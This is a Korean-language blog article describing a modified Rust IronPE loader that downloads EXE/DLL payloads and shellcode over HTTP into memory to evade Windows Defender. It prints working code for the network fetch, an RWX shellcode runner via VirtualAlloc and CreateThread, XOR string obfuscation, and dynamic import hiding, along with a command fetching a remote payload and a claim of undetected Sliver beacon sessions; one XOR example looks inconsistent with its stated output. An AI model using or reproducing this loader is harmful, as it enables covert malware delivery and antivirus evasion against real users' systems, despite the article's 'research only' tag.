홈으로 돌아가기

IronPE: HTTP PE 로딩을 통한 Defender 우회

Rust에서 수정된 IronPE가 HTTP를 통해 PE 파일 및 shellcode를 메모리에 로드하여 Windows Defender 정적 탐지 우회. 동적 import, XOR 난독화 및 합법적인 API 사용. Windows 11에서 Sliver beacon으로 테스트됨.

IronPE 수정: Defender 없이 메모리에 PE
Advertisement 728x90

IronPE 수정을 통한 메모리 내 PE 로딩으로 Defender 우회하기

IronPE의 수정 버전은 PE 파일(EXE 또는 DLL)을 HTTP/HTTPS를 통해 직접 메모리에 로드하여 디스크 쓰기를 우회합니다. 이는 파일 시스템에 아티팩트를 남기지 않아 Windows Defender의 정적 분석을 회피합니다. Rust 구현은 동적 임포트 해결과 문자열 난독화를 포함한 수동 매핑을 사용합니다.

IronPE는 원래 CreateProcess나 LoadLibrary와 같은 표준 API 없이 PE 로딩 메커니즘을 시연하기 위해 설계되었습니다. 이 수정은 합법적인 WinAPI 호출을 유지하면서 네트워크 기반 페이로드 로딩과 셸코드 지원을 추가합니다.

주요 코드 변경 사항

reqwest를 이용한 HTTP 로딩

네트워크에서 PE 파일을 검색하기 위해, 브라우저를 모방하는 User-Agent와 120초 타임아웃을 특징으로 하는 블로킹 reqwest 클라이언트가 통합되었습니다.

Google AdInline article slot
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

실행: ./ironpe --x64 http://server/payload.exe. 바이트는 디스크에 저장하지 않고 메모리에 로드됩니다.

셸코드 지원

--shellcode 모드는 VirtualAlloc을 통해 RWX 메모리를 할당하고 바이트를 직접 실행을 위해 복사합니다. Sliver와 같은 스테이저에 적합합니다.

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

동적 임포트 해결

IAT는 최소화됩니다: 모든 함수(VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread)는 런타임에 해결됩니다. 주입이나 LSASS 접근에 대한 정적 참조가 없어 탐지를 줄입니다.

Google AdInline article slot

문자열 난독화

DLL 및 함수 이름은 XOR 암호화된 바이트로 저장됩니다. 복호화는 실행 중에만 발생합니다.

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

정적 분석 회피 메커니즘

이 기술은 활성 Defender(실시간, 클라우드)가 있는 Windows 11 25H2에서 작동합니다. 주요 요소:

  • 디스크 없음: 페이로드(~30 MB Sliver 비콘)는 저장되지 않습니다.
  • 합법적인 API: VirtualAlloc, LoadLibrary 등 — 설치 프로그램에 표준입니다.
  • 빈 IAT: 동적 호출이 의심스러운 호출을 숨깁니다.
  • Rust: 악성코드에서 드물어 YARA 규칙이 적습니다.
  • 네트워크 단계: 페이로드는 정적 스캐너에 알려지지 않았습니다.

장점과 한계

| 측면 | 원본 IronPE | 수정 버전 |

Google AdInline article slot

|--------|-----------------|-------------|

| 로딩 | 로컬 파일 | HTTP/HTTPS |

| 셸코드 | 아니오 | 예, RWX |

| IAT | 부분적으로 동적 | 완전히 동적 |

| 문자열 | 평문 | XOR 난독화 |

| Defender 탐지 | 가능 | 정적 우회 |

포트 8081의 Python 서버가 있는 VPS에서 테스트할 때, Sliver 세션이 Defender 알림 없이 시작되었습니다.

핵심 포인트:

  • 수동 매핑 + HTTP는 파일 시그니처를 제거합니다.
  • 동적 임포트는 정적 풋프린트를 최소화합니다.
  • Rust는 시그니처 위험을 줄이지만 행동적 위험은 아닙니다.
  • AMSI/ETW 모니터링이 있는 EDR을 위해 개선이 필요합니다.
  • 보안 연구 전용입니다.

— Editorial Team

Advertisement 728x90

다음 읽기